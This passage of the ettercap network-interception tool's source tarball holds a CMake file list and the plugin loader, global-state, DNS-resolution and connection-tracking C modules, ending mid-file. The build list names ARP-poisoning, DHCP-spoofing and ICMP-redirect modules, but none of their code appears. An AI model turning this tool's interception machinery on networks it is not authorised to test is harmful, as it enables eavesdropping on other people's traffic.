dissectors/ec_postgresql.c dissectors/ec_portmap.c dissectors/ec_radius.c dissectors/ec_rcon.c dissectors/ec_rip.c dissectors/ec_rlogin.c dissectors/ec_smb.c dissectors/ec_smtp.c dissectors/ec_snmp.c dissectors/ec_socks.c dissectors/ec_ssh.c dissectors/ec_telnet.c dissectors/ec_TN3270.c dissectors/ec_vnc.c dissectors/ec_vrrp.c dissectors/ec_x11.c dissectors/ec_ymsg.c mitm/ec_arp_poisoning.c mitm/ec_dhcp_spoofing.c mitm/ec_icmp_redirect.c mitm/ec_port_stealing.c protocols/ec_arp.c protocols/ec_cooked.c protocols/ec_erf.c protocols/ec_eth.c protocols/ec_fddi.c protocols/ec_gre.c protocols/ec_esp.c protocols/ec_icmp.c protocols/ec_ip.c protocols/ec_mpls.c protocols/ec_null.c protocols/ec_ppi.c protocols/ec_ppp.c protocols/ec_pppoe.c protocols/ec_rawip.c protocols/ec_tcp.c protocols/ec_tr.c protocols/ec_udp.c protocols/ec_vlan.c protocols/ec_wifi.c protocols/ec_wifi_eapol.c protocols/ec_wifi_prism.c protocols/ec_wifi_radiotap.c ) if(HAVE_GEOIP) set(EC_SRC ${EC_SRC} ec_geoip.c) endif() if(ENABLE_IPV6) set(EC_SRC ${EC_SRC} protocols/ec_icmp6.c protocols/ec_ip6.c mitm/ec_ip6nd_poison.c) endif() if(HAVE_DN_EXPAND) set(EC_SRC ${EC_SRC} dissectors/ec_dns.c) endif() if(OS_LINUX) set(EC_SRC ${EC_SRC} os/ec_linux.c) elseif(OS_BSD) set(EC_SRC ${EC_SRC} os/ec_bsd.c) elseif(OS_DARWIN) set(EC_SRC ${EC_SRC} os/ec_darwin.c) elseif(OS_MINGW) set(EC_SRC ${EC_SRC} os/ec_mingw.c) elseif(OS_SOLARIS) set(EC_SRC ${EC_SRC} os/ec_solaris.c) elseif(OS_GNU) set(EC_SRC ${EC_SRC} os/ec_gnu.c) endif() if(NOT HAVE_STRLCAT AND NOT HAVE_STRLCAT_FUNCTION) set(EC_SRC ${EC_SRC} missing/strlcat.c) endif() if(NOT HAVE_STRLCPY AND NOT HAVE_STRLCPY_FUNCTION) set(EC_SRC ${EC_SRC} missing/strlcpy.c) endif() if(NOT HAVE_STRSEP) set(EC_SRC ${EC_SRC} missing/strsep.c) endif() if(NOT HAVE_STRCASESTR) set(EC_SRC ${EC_SRC} missing/strcasestr.c) endif() if(NOT HAVE_MEMMEM) set(EC_SRC ${EC_SRC} missing/memmem.c) endif() if(NOT HAVE_MEMRCHR) set(EC_SRC ${EC_SRC} missing/memrchr.c) endif() if(NOT HAVE_BASENAME) set(EC_SRC ${EC_SRC} missing/basename.c) endif() if(NOT HAVE_STRNDUP) set(EC_SRC ${EC_SRC} missing/strndup.c) endif() if(NOT HAVE_GETOPT_LONG AND NOT HAVE_GETOPT_H) set(EC_SRC ${EC_SRC} missing/getopt.c) endif() add_library(lib_ettercap SHARED ${EC_SRC}) add_dependencies(lib_ettercap libnet) target_link_libraries(lib_ettercap ec_interfaces ${EC_LIBS}) if(NOT LIBRARY_BUILD) add_subdirectory(interfaces) include_directories(interfaces/daemon interfaces/text) if(ENABLE_CURSES) include_directories(interfaces/curses interfaces/curses/widgets) endif() add_executable(ettercap ec_parser.c ec_main.c) target_link_libraries(ettercap lib_ettercap ${EC_LIBS}) if(NOT DISABLE_RPATH) set_target_properties(ettercap PROPERTIES INSTALL_RPATH ${INSTALL_LIBDIR}) endif() endif() # Only compile lua stuff if lua is enabled! if(ENABLE_LUA) add_subdirectory(lua) target_link_libraries(lib_ettercap ec_lua ${LUAJIT_LIBRARY}) if(OS_DARWIN AND (CMAKE_SIZEOF_VOID_P EQUAL 8)) # On 64-bit OSX platforms, luajit requires the following flags to be added. # See: http://luajit.org/install.html target_link_libraries(ettercap "-pagezero_size 10000 -image_base 100000000") endif() endif() #if(NOT LIBRARY_BUILD) #target_link_libraries(lib_ettercap ec_interfaces ${EC_LIBS}) #else(NOT LIBRARY_BUILD) #target_link_libraries(lib_ettercap ${EC_LIBS}) #endif(NOT LIBRARY_BUILD) set_target_properties(lib_ettercap PROPERTIES ENABLE_EXPORTS On # LINK_INTERFACE_LIBRARIES "" OUTPUT_NAME ettercap VERSION ${VERSION} SOVERSION 0 ) install(TARGETS lib_ettercap DESTINATION ${INSTALL_LIBDIR}) if(NOT LIBRARY_BUILD) install(TARGETS ettercap DESTINATION ${INSTALL_BINDIR}) endif() ettercap-0.8.3/src/ec_plugins.c0000644000175000017500000002615613505247364016271 0ustar koeppeakoeppea/* ettercap -- plugin handling Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #ifndef HAVE_SCANDIR #include #endif #ifdef HAVE_PLUGINS #ifdef HAVE_LTDL_H #include #endif #ifdef HAVE_DLFCN_H #include #endif #endif /* symbol prefix for some OSes */ #ifdef NEED_USCORE #define SYM_PREFIX "_" #else #define SYM_PREFIX "" #endif /* global data */ struct plugin_entry { void *handle; char activated; /* if the init fuction was already called */ struct plugin_ops *ops; SLIST_ENTRY(plugin_entry) next; }; static SLIST_HEAD(, plugin_entry) plugin_head; /* mutexes */ static pthread_mutex_t kill_mutex = PTHREAD_MUTEX_INITIALIZER; #define KILL_LOCK do { pthread_mutex_lock(&kill_mutex); } while (0) #define KILL_UNLOCK do { pthread_mutex_unlock(&kill_mutex); } while (0) static pthread_mutex_t plugin_list_mutex = PTHREAD_MUTEX_INITIALIZER; #define PLUGIN_LIST_LOCK do { pthread_mutex_lock(&plugin_list_mutex); } \ while (0) #define PLUGIN_LIST_UNLOCK do { pthread_mutex_unlock(&plugin_list_mutex); } \ while (0) /* protos... */ void plugin_unload_all(void); static void plugin_print(char active, struct plugin_ops *ops); int plugin_filter(const struct dirent *d); /*******************************************/ /* * load a plugin given the full path */ int plugin_load_single(const char *path, char *name) { #ifdef HAVE_PLUGINS char file[strlen(path)+strlen(name)+2]; void *handle; int (*plugin_load)(void *); snprintf(file, sizeof(file), "%s/%s", path, name); DEBUG_MSG("plugin_load_single: %s", file); /* load the plugin */ handle = dlopen(file, RTLD_NOW|RTLD_LOCAL); if (handle == NULL) { DEBUG_MSG("plugin_load_single - %s - dlopen() | %s", file, dlerror()); return -E_INVALID; } /* find the loading function */ plugin_load = dlsym(handle, SYM_PREFIX "plugin_load"); if (plugin_load == NULL) { DEBUG_MSG("plugin_load_single - %s - lt_dlsym() | %s", file, dlerror()); dlclose(handle); return -E_INVALID; } /* * return the same value of plugin_register * we pass the handle to the plugin, which * in turn passes it to the plugin_register * function */ return plugin_load(handle); #else (void) path; (void) name; return -E_INVALID; #endif } /* * filter for the scandir function */ int plugin_filter(const struct dirent *d) { if ( match_pattern(d->d_name, PLUGIN_PATTERN) ) return 1; return 0; } /* * search and load all plugins in INSTALL_PREFIX/lib */ void plugin_load_all(void) { #ifdef HAVE_PLUGINS struct dirent **namelist = NULL; int n, i, ret; int t = 0; char *where; DEBUG_MSG("plugin_loadall"); #ifdef OS_WINDOWS /* Assume .DLLs are under "/lib". This should be unified for * all; ec_get_lib_path()? */ char path[PATH_MAX]; snprintf(path, sizeof(path), "%s%s", ec_win_get_ec_dir(), INSTALL_LIBDIR); where = path; #else /* default path */ where = INSTALL_LIBDIR "/" PROGRAM; #endif /* first search in INSTALL_LIBDIR/ettercap" */ n = scandir(where, &namelist, plugin_filter, alphasort); /* on error fall back to the current dir */ if (n <= 0) { DEBUG_MSG("plugin_loadall: no plugin in %s searching locally...", where); /* change the path to the local one */ where = "plug-ins"; n = scandir(where, &namelist, plugin_filter, alphasort); DEBUG_MSG("plugin_loadall: %d found", n); } for(i = n-1; i >= 0; i--) { ret = plugin_load_single(where, namelist[i]->d_name); switch (ret) { case E_SUCCESS: t++; break; case -E_DUPLICATE: USER_MSG("plugin %s already loaded...\n", namelist[i]->d_name); DEBUG_MSG("plugin %s already loaded...", namelist[i]->d_name); break; case -E_VERSION: USER_MSG("plugin %s was compiled for a different ettercap version...\n", namelist[i]->d_name); DEBUG_MSG("plugin %s was compiled for a different ettercap version...", namelist[i]->d_name); break; case -E_INVALID: default: USER_MSG("plugin %s cannot be loaded...\n", namelist[i]->d_name); DEBUG_MSG("plugin %s cannot be loaded...", namelist[i]->d_name); break; } SAFE_FREE(namelist[i]); } USER_MSG("%4d plugins\n", t); SAFE_FREE(namelist); atexit(plugin_unload_all); #else USER_MSG(" 0 plugins (disabled by configure...)\n"); #endif } /* * unload all the plugin */ void plugin_unload_all(void) { #ifdef HAVE_PLUGINS struct plugin_entry *p; DEBUG_MSG("ATEXIT: plugin_unload_all"); while (SLIST_FIRST(&plugin_head) != NULL) { p = SLIST_FIRST(&plugin_head); if(plugin_is_activated(p->ops->name) == 1) plugin_fini(p->ops->name); dlclose(p->handle); SLIST_REMOVE_HEAD(&plugin_head, next); SAFE_FREE(p); } #endif } /* * function used by plugins to register themself */ int plugin_register(void *handle, struct plugin_ops *ops) { #ifdef HAVE_PLUGINS struct plugin_entry *p, *pl; /* check for ettercap API version */ if (strcmp(ops->ettercap_version, EC_VERSION)) { dlclose(handle); return -E_VERSION; } /* check that this plugin was not already loaded */ SLIST_FOREACH(pl, &plugin_head, next) { /* same name and same version */ if (!strcmp(ops->name, pl->ops->name) && !strcmp(ops->version, pl->ops->version)) { dlclose(handle); return -E_DUPLICATE; } } SAFE_CALLOC(p, 1, sizeof(struct plugin_entry)); p->handle = handle; p->ops = ops; SLIST_INSERT_HEAD(&plugin_head, p, next); return E_SUCCESS; #else (void) handle; (void) ops; return -E_INVALID; #endif } /* * activate a plugin. * it launch the plugin init function */ int plugin_init(char *name) { struct plugin_entry *p; int ret; SLIST_FOREACH(p, &plugin_head, next) { if (!strcmp(p->ops->name, name)) { /* get the response from the plugin */ ret = p->ops->init(NULL); /* if it is still running, mark it as active */ if (ret == PLUGIN_RUNNING) p->activated = 1; return ret; } } return -E_NOTFOUND; } /* * deactivate a plugin. * it launch the plugin fini function */ int plugin_fini(char *name) { struct plugin_entry *p; int ret; SLIST_FOREACH(p, &plugin_head, next) { if (p->activated == 1 && !strcmp(p->ops->name, name)) { /* get the response from the plugin */ ret = p->ops->fini(NULL); /* if it is still running, mark it as active */ if (ret == PLUGIN_FINISHED) p->activated = 0; return ret; } } return -E_NOTFOUND; } /* * self-destruct a plugin thread. * it resets the activity state and destructs itself by calling the plugin fini function. * it does not replace the _fini standard function rather than it depends on it. * this function does not do anything if not executed by a thread. */ int plugin_kill_thread(char *name, char *thread) { struct plugin_entry *p; int ret; pthread_t pid; pid = ec_thread_getpid(thread); /* do not execute if not being a thread */ if (pthread_equal(pid, EC_PTHREAD_NULL)) return -E_INVALID; /* the thread can only kill itself */ if (!pthread_equal(pid, pthread_self())) return -E_INVALID; DEBUG_MSG("plugin_kill_thread"); KILL_LOCK; SLIST_FOREACH(p, &plugin_head, next) { if (p->activated == 1 && !strcmp(p->ops->name, name)) { /* flag plugin as inactive */ p->activated = 0; /* update the UI */ ui_update(UI_UPDATE_PLUGINLIST); /* release the lock */ KILL_UNLOCK; /* call plugin's destruction routine */ ret = p->ops->fini(NULL); /* * normally the thread should not return from the call - * just in case the thread wasn't destroyed in the fini callback * destroy it here */ ec_thread_destroy(pid); /* should never be reached */ return ret; } } KILL_UNLOCK; return -E_NOTFOUND; } /* * it print the list of the plugins. * * func is the callback function to which are passed * - the plugin name * - the plugin version * - the plugin description * * min is the n-th plugin to start to print * max it the n-th plugin to stop to print */ int plugin_list_walk(int min, int max, void (*func)(char, struct plugin_ops *)) { struct plugin_entry *p; int i = min; SLIST_FOREACH(p, &plugin_head, next) { if (i > max) return (i-1); if (i < min) { i++; continue; } func(p->activated, p->ops); i++; } return (i == min) ? -E_NOTFOUND : (i-1); } /* * returns the activation flag */ int plugin_is_activated(char *name) { struct plugin_entry *p; SLIST_FOREACH(p, &plugin_head, next) { if (!strcmp(p->ops->name, name)) { return p->activated; } } return 0; } /* * search if a plugin exists */ int search_plugin(char *name) { struct plugin_entry *p; SLIST_FOREACH(p, &plugin_head, next) { if (!strcmp(p->ops->name, name)) { return E_SUCCESS; } } return -E_NOTFOUND; } /* * print the list of available plugins */ void plugin_list(void) { int ret; DEBUG_MSG("plugin_list"); /* load all the plugins */ plugin_load_all(); /* print the list */ fprintf(stdout, "\nAvailable plugins :\n\n"); ret = plugin_list_walk(PLP_MIN, PLP_MAX, &plugin_print); if (ret == -E_NOTFOUND) { fprintf(stdout, "No plugin found !\n\n"); return; } fprintf(stdout, "\n\n"); } /* * walk through the list of plugin names and free */ void free_plugin_list(struct plugin_list_t plugins) { struct plugin_list *plugin, *tmp; PLUGIN_LIST_LOCK; LIST_FOREACH_SAFE(plugin, &plugins, next, tmp) { LIST_REMOVE(plugin, next); SAFE_FREE(plugin->name); SAFE_FREE(plugin); } PLUGIN_LIST_UNLOCK; } /* * callback function for displaying the plugin list */ static void plugin_print(char active, struct plugin_ops *ops) { /* variable not used */ (void) active; fprintf(stdout, " %15s %4s %s\n", ops->name, ops->version, ops->info); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_globals.c0000644000175000017500000000625613505247364016232 0ustar koeppeakoeppea/* ettercap -- global variables handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define EC_GBL_FREE(x) do{ if (x != NULL) { free(x); x = NULL; } }while(0) /* global vars */ struct ec_globals *ec_gbls; /* proto */ /*******************************************/ void ec_globals_alloc(void) { SAFE_CALLOC(ec_gbls, 1, sizeof(struct ec_globals)); SAFE_CALLOC(ec_gbls->conf, 1, sizeof(struct ec_conf)); SAFE_CALLOC(ec_gbls->options, 1, sizeof(struct ec_options)); SAFE_CALLOC(ec_gbls->stats, 1, sizeof(struct gbl_stats)); SAFE_CALLOC(ec_gbls->ui, 1, sizeof(struct ui_ops)); SAFE_CALLOC(ec_gbls->env, 1, sizeof(struct program_env)); SAFE_CALLOC(ec_gbls->pcap, 1, sizeof(struct pcap_env)); SAFE_CALLOC(ec_gbls->lnet, 1, sizeof(struct lnet_env)); SAFE_CALLOC(ec_gbls->iface, 1, sizeof(struct iface_env)); SAFE_CALLOC(ec_gbls->bridge, 1, sizeof(struct iface_env)); SAFE_CALLOC(ec_gbls->sm, 1, sizeof(struct sniffing_method)); SAFE_CALLOC(ec_gbls->t1, 1, sizeof(struct target_env)); SAFE_CALLOC(ec_gbls->t2, 1, sizeof(struct target_env)); SAFE_CALLOC(ec_gbls->wifi, 1, sizeof(struct wifi_env)); /* filter list entries are allocated as needed */ ec_gbls->filters = NULL; /* init the structures */ TAILQ_INIT(&EC_GBL_PROFILES); LIST_INIT(&EC_GBL_HOSTLIST); return; } void ec_globals_free(void) { EC_GBL_FREE(ec_gbls->pcap); EC_GBL_FREE(ec_gbls->lnet); EC_GBL_FREE(ec_gbls->iface); EC_GBL_FREE(ec_gbls->bridge); EC_GBL_FREE(ec_gbls->sm); EC_GBL_FREE(ec_gbls->filters); free_ip_list(ec_gbls->t1); EC_GBL_FREE(ec_gbls->t1); free_ip_list(ec_gbls->t2); EC_GBL_FREE(ec_gbls->t2); EC_GBL_FREE(ec_gbls->env->name); EC_GBL_FREE(ec_gbls->env->version); EC_GBL_FREE(ec_gbls->env->debug_file); EC_GBL_FREE(ec_gbls->env); free_plugin_list(ec_gbls->options->plugins); EC_GBL_FREE(ec_gbls->options->proto); EC_GBL_FREE(ec_gbls->options->pcapfile_in); EC_GBL_FREE(ec_gbls->options->pcapfile_out); EC_GBL_FREE(ec_gbls->options->iface); EC_GBL_FREE(ec_gbls->options->iface_bridge); EC_GBL_FREE(ec_gbls->options->target1); EC_GBL_FREE(ec_gbls->options->target2); EC_GBL_FREE(ec_gbls->stats); EC_GBL_FREE(ec_gbls->options); EC_GBL_FREE(ec_gbls->conf); /* destroy the list structure */ filter_clear(); EC_GBL_FREE(ec_gbls); return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_resolv.c0000644000175000017500000003135613505247364016120 0ustar koeppeakoeppea/* ettercap -- name resolution module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #ifdef SIGUSR1 #include #else #include #endif #ifndef OS_WINDOWS #include #endif #define TABBIT 9 /* 2^9 bit tab entries: 512 SLISTS */ #define TABSIZE (1UL<resolve) return -E_NOTFOUND; DEBUG_MSG("host_iptoa() %s not in cache", ip_addr_ntoa(ip, tmp)); /* * The host was not in the cache but requests to resolve, * so we continue resolving it in a non-blocking manner. * We return -E_NOMATCH to indicate that we try to resolve it * and the result may be in the cache later. * That way we don't block the application if the OS is configured * to include mDNS in the host resolution process (/etc/nsswitch.conf). * Including mDNS enriches the results but heavily delays if * many hosts are online on the link. */ RESOLVQ_LOCK; ret = resolv_queue_push(ip); RESOLVQ_UNLOCK; #ifdef SIGUSR1 /* Sending signal of updated resolv queue to all resolv threads */ if (ret == E_SUCCESS) for (i = 0; i < NUM_RESOLV_THREADS; i++) pthread_kill(resolv_threads[i], SIGUSR1); #endif return -E_NOMATCH; } /* * initialize number of threads * acting as the working horses for the IP to name * resolution in the background */ void resolv_thread_init(void) { int i; char thread_name[16]; DEBUG_MSG("resolv_thread_init()"); /* initialize queue */ STAILQ_INIT(&resolv_queue_head); /* spawn resolution worker threads */ for (i = 0; i < NUM_RESOLV_THREADS; i++) { snprintf(thread_name, sizeof(thread_name), "resolver-%d", i+1); resolv_threads[i] = ec_thread_new(thread_name, "DNS resolver", &resolv_thread_main, NULL); } } /* * gracefully shut down name resolution threads: * - destroy all created threads * - flush and free resolv queue completely */ void resolv_thread_fini(void) { int i; struct queue_entry *entry; DEBUG_MSG("resolv_thread_fini()"); /* destroy resolution worker threads */ for (i = 0; i < NUM_RESOLV_THREADS; i++) /* check if thread exists */ if (strcmp(ec_thread_getname(resolv_threads[i]), "NR_THREAD")) /* send cancel signal to thread */ ec_thread_destroy(resolv_threads[i]); /* empty queue and free allocated memory if applicable */ RESOLVQ_LOCK; while (!STAILQ_EMPTY(&resolv_queue_head)) { entry = STAILQ_FIRST(&resolv_queue_head); STAILQ_REMOVE_HEAD(&resolv_queue_head, entry, next); SAFE_FREE(entry); } RESOLVQ_UNLOCK; } /* * this function the resolution threads wait in this function * until a IP address is to be resolved and inserted into the * name cache. With many IP hosts on the link, the number of * parallel threads can be increased by NUM_RESOLV_THREADS. */ EC_THREAD_FUNC(resolv_thread_main) { struct ip_addr ip; char host[MAX_HOSTNAME_LEN]; char tmp[MAX_ASCII_ADDR_LEN]; int ret = 0; #ifdef SIGUSR1 int sig; sigset_t sigmask; #endif /* variable not used */ (void) EC_THREAD_PARAM; /* init the thread */ ec_thread_init(); #ifdef SIGUSR1 /* initialize signal mask non-blocking */ sigfillset(&sigmask); pthread_sigmask(SIG_UNBLOCK, &sigmask, NULL); #endif /* wait for something to do */ LOOP { /* provide the chance to cancel the thread */ CANCELLATION_POINT(); /* check if something is in the queue */ RESOLVQ_LOCK; ret = resolv_queue_pop(&ip); RESOLVQ_UNLOCK; /* nothing to do - booring !! */ if (ret != E_SUCCESS) { /* wait if something new comes in to do */ #ifdef SIGUSR1 while (sigwait(&sigmask, &sig) == 0) if (sig == SIGUSR1) break; #else ec_usleep(SEC2MICRO(1)); #endif /* broke off waiting - start over checking the queue */ continue; } /* * yeah, we got something to do - lets rock..... * In any case the name cache is updated so that a second call of * of host_iptoa() gets a result. */ if (resolv_dns(&ip, host)) { /* * insert the "" in the cache so we don't search for * non existent hosts every new query. */ DEBUG_MSG("resolv_dns: not found for %s", ip_addr_ntoa(&ip, tmp)); RESOLVC_LOCK; resolv_cache_insert(&ip, ""); RESOLVC_UNLOCK; } else { DEBUG_MSG("resolv_dns: %s found for %s", host, ip_addr_ntoa(&ip, tmp)); /* insert the result in the cache for later use */ RESOLVC_LOCK; resolv_cache_insert(&ip, host); RESOLVC_UNLOCK; } } return NULL; } /* * perform the ip to name resolution as a dedicated thread. */ static int resolv_dns(struct ip_addr *ip, char *hostname) { struct sockaddr_storage ss; struct sockaddr_in *sa4; struct sockaddr_in6 *sa6; socklen_t sa_len; /* prepare struct */ switch (ntohs(ip->addr_type)) { case AF_INET: sa4 = (struct sockaddr_in *)&ss; sa4->sin_family = AF_INET; ip_addr_cpy((u_char*)&sa4->sin_addr.s_addr, ip); sa_len = sizeof(struct sockaddr_in); break; case AF_INET6: sa6 = (struct sockaddr_in6 *)&ss; sa6->sin6_family = AF_INET6; ip_addr_cpy((u_char*)&sa6->sin6_addr.s6_addr, ip); sa_len = sizeof(struct sockaddr_in6); break; } /* resolve */ return getnameinfo((struct sockaddr *)&ss, sa_len, hostname, MAX_HOSTNAME_LEN, NULL, 0, NI_NAMEREQD); } /* * search in the cache for an already * resolved host */ static int resolv_cache_search(struct ip_addr *ip, char *name) { struct resolv_entry *r; u_int32 h; char tmp[MAX_ASCII_ADDR_LEN]; /* calculate the hash */ h = fnv_32(ip->addr, ntohs(ip->addr_len)) & TABMASK; SLIST_FOREACH(r, &resolv_cache_head[h], next) { if (!ip_addr_cmp(&r->ip, ip)) { /* found in the cache */ DEBUG_MSG("resolv_cache_search: found: %s -> %s", ip_addr_ntoa(ip, tmp), r->hostname); strlcpy(name, r->hostname, MAX_HOSTNAME_LEN - 1); return E_SUCCESS; } } /* cache miss */ return -E_NOTFOUND; } /* * insert an entry in the cache */ void resolv_cache_insert(struct ip_addr *ip, char *name) { struct resolv_entry *r; u_int32 h; pthread_t pid; char tmp[MAX_ASCII_ADDR_LEN]; /* * make sure this function is not called by the main thread. * this is important because parallel writing of the cache * can lead to segmentation faults due to race conditions */ pid = pthread_self(); if (pthread_equal(pid, EC_PTHREAD_NULL)) { DEBUG_MSG("resolv_cache_insert: not called by a thread - aborting"); return; } /* calculate the hash */ h = fnv_32(ip->addr, ntohs(ip->addr_len)) & TABMASK; /* * search if it is already in the cache. * this will pervent passive insertion to overwrite * previous cached results */ SLIST_FOREACH(r, &resolv_cache_head[h], next) { /* found in the cache skip it */ if (!ip_addr_cmp(&r->ip, ip)) { DEBUG_MSG("resolv_cache_insert: %s already in cache - skipping", ip_addr_ntoa(ip, tmp)); return; } } DEBUG_MSG("resolv_cache_insert: no entry found for %s", ip_addr_ntoa(ip, tmp)); SAFE_CALLOC(r, 1, sizeof(struct resolv_entry)); memcpy(&r->ip, ip, sizeof(struct ip_addr)); r->hostname = strdup(name); SLIST_INSERT_HEAD(&(resolv_cache_head[h]), r, next); DEBUG_MSG("resolv_cache_insert: inserted %s --> %s", tmp, name); } /* * wrapper function for the passive name recognition * ensuring syncronization with active name resolving * threads */ void resolv_cache_insert_passive(struct ip_addr *ip, char *name) { /* wait for mutex and write cache entry */ RESOLVC_LOCK; resolv_cache_insert(ip, name); RESOLVC_UNLOCK; } /* * pushing a resolution request to the queue */ int resolv_queue_push(struct ip_addr *ip) { struct queue_entry *entry; char tmp[MAX_ASCII_ADDR_LEN]; int i = 0; /* avoid pushing duplicate IPs to the queue */ STAILQ_FOREACH(entry, &resolv_queue_head, next) { if (!ip_addr_cmp(&entry->ip, ip)) return -E_DUPLICATE; /* count queue length */ i++; } /* avoid memory exhaustion - limit queue length */ if (i >= MAX_RESOLVQ_LEN) { DEBUG_MSG("resolv_queue_push(): maximum resolv queue length reached"); return -E_INVALID; } /* allocate memory for new queue entry and add to queue */ SAFE_CALLOC(entry, 1, sizeof(struct queue_entry)); memcpy(&entry->ip, ip, sizeof(struct ip_addr)); STAILQ_INSERT_TAIL(&resolv_queue_head, entry, next); DEBUG_MSG("resolv_queue_push(): %s queued", ip_addr_ntoa(ip, tmp)); return E_SUCCESS; } /* * popping and returning a resolution request from the queue */ int resolv_queue_pop(struct ip_addr *ip) { struct queue_entry *entry; char tmp[MAX_ASCII_ADDR_LEN]; /* check if queue is emtpy */ if (STAILQ_EMPTY(&resolv_queue_head)) return -E_NOMATCH; /* copy IP address to caller's memory */ entry = STAILQ_FIRST(&resolv_queue_head); memcpy(ip, &entry->ip, sizeof(struct ip_addr)); /* remove entry from queue and free memory */ STAILQ_REMOVE_HEAD(&resolv_queue_head, entry, next); SAFE_FREE(entry); DEBUG_MSG("resolv_queue_pop(): %s returned and removed from queue", ip_addr_ntoa(ip, tmp)); return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_conntrack.c0000644000175000017500000005311413505247364016564 0ustar koeppeakoeppea/* ettercap -- connection list handling module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include /* globals */ /* the hash table used to index the tailq */ struct conn_hash_search { struct conn_tail *cl; LIST_ENTRY(conn_hash_search) next; }; #define TABBIT 10 /* 2^10 bit tab entries: 1024 LISTS */ #define TABSIZE (1 << TABBIT) #define TABMASK (TABSIZE - 1) /* * the connection list. * this list is created adding new element in the tail. * the search method is established in the search function. * an hash table is used and it is double-linked with the * tailq so from each element you can delete the corresponding * in the tailq or viceversa */ static TAILQ_HEAD(conn_head, conn_tail) conntrack_tail_head = TAILQ_HEAD_INITIALIZER(conntrack_tail_head); static LIST_HEAD(, conn_hash_search) conntrack_search_head[TABSIZE]; /* global mutex on connections list */ static pthread_mutex_t conntrack_mutex = PTHREAD_MUTEX_INITIALIZER; #define CONNTRACK_LOCK do{ pthread_mutex_lock(&conntrack_mutex); }while(0) #define CONNTRACK_UNLOCK do{ pthread_mutex_unlock(&conntrack_mutex); }while(0) /* protos */ void __init conntrack_init(void); static void conntrack_parse(struct packet_object *po); static u_int32 conntrack_hash(struct packet_object *po); static struct conn_object *conntrack_search(struct packet_object *po); static void conntrack_update(struct conn_object *co, struct packet_object *po); static void conntrack_add(struct packet_object *po); static void conntrack_del(struct conn_object *co); static int conntrack_match(struct conn_object *co, struct packet_object *po); void conntrack_hook(struct conn_object *co, struct packet_object *po); /************************************************/ /* * add the hook function */ void __init conntrack_init(void) { /* receive all the top half packets */ hook_add(HOOK_DISPATCHER, &conntrack_parse); } /* * the conntrack main() */ static void conntrack_parse(struct packet_object *po) { struct conn_object *conn; CONNTRACK_LOCK; /* search if the connection already exists */ conn = conntrack_search(po); /* update if it was found, else add to the list */ if (conn) conntrack_update(conn, po); else conntrack_add(po); CONNTRACK_UNLOCK; } /* * calculate the hash for a packet object */ static u_int32 conntrack_hash(struct packet_object *po) { u_int32 hash_array[3]; /* * put them in an array and then compute the hash on the array. * use XOR on src and dst because the hash must be equal for * packets from dst to src and viceversa */ hash_array[0] = fnv_32((u_char *)&po->L3.src, sizeof(struct ip_addr)) ^ fnv_32((u_char *)&po->L3.dst, sizeof(struct ip_addr)); hash_array[1] = po->L4.src ^ po->L4.dst; hash_array[2] = po->L4.proto; /* compute the resulting hash */ return fnv_32((u_char *)&hash_array, sizeof(hash_array)) & TABMASK; } /* * search the connection in the connection table * and return the pointer. */ static struct conn_object *conntrack_search(struct packet_object *po) { struct conn_hash_search *cs; u_int32 h; /* use the hash table to find the connection in the tailq */ h = conntrack_hash(po); LIST_FOREACH(cs, &conntrack_search_head[h], next) { if (conntrack_match(cs->cl->co, po) == E_SUCCESS) { return cs->cl->co; } } return NULL; #if 0 struct conn_tail *cl; /* search in the list sequentially */ TAILQ_FOREACH(cl, &conntrack_tail_head, next) { if (conntrack_match(cl->co, po) == E_SUCCESS) { return cl->co; } } return NULL; #endif } /* * update the variable parameters in the connection struct. * the status, the buffer and the timestamp will be updated */ static void conntrack_update(struct conn_object *co, struct packet_object *po) { /* update the timestamp */ gettimeofday(&co->ts, 0); /* update the status for TCP conn */ if (po->L4.flags & TH_SYN) co->status = CONN_OPENING; else if (po->L4.flags & TH_FIN) co->status = CONN_CLOSING; else if (po->L4.flags & TH_ACK) { /* syn + ack, ack */ if (co->status == CONN_OPENING ) co->status = CONN_OPEN; /* fin + ack, ack */ else if (co->status == CONN_CLOSING) co->status = CONN_CLOSED; } if (po->L4.flags & TH_PSH) co->status = CONN_ACTIVE; if (po->L4.flags & TH_RST) co->status = CONN_KILLED; /* update the buffer */ connbuf_add(&co->data, po); /* update the status for UDP conn */ if (po->L4.proto == NL_TYPE_UDP) co->status = CONN_ACTIVE; /* * update the byte count * use DATA.len and not 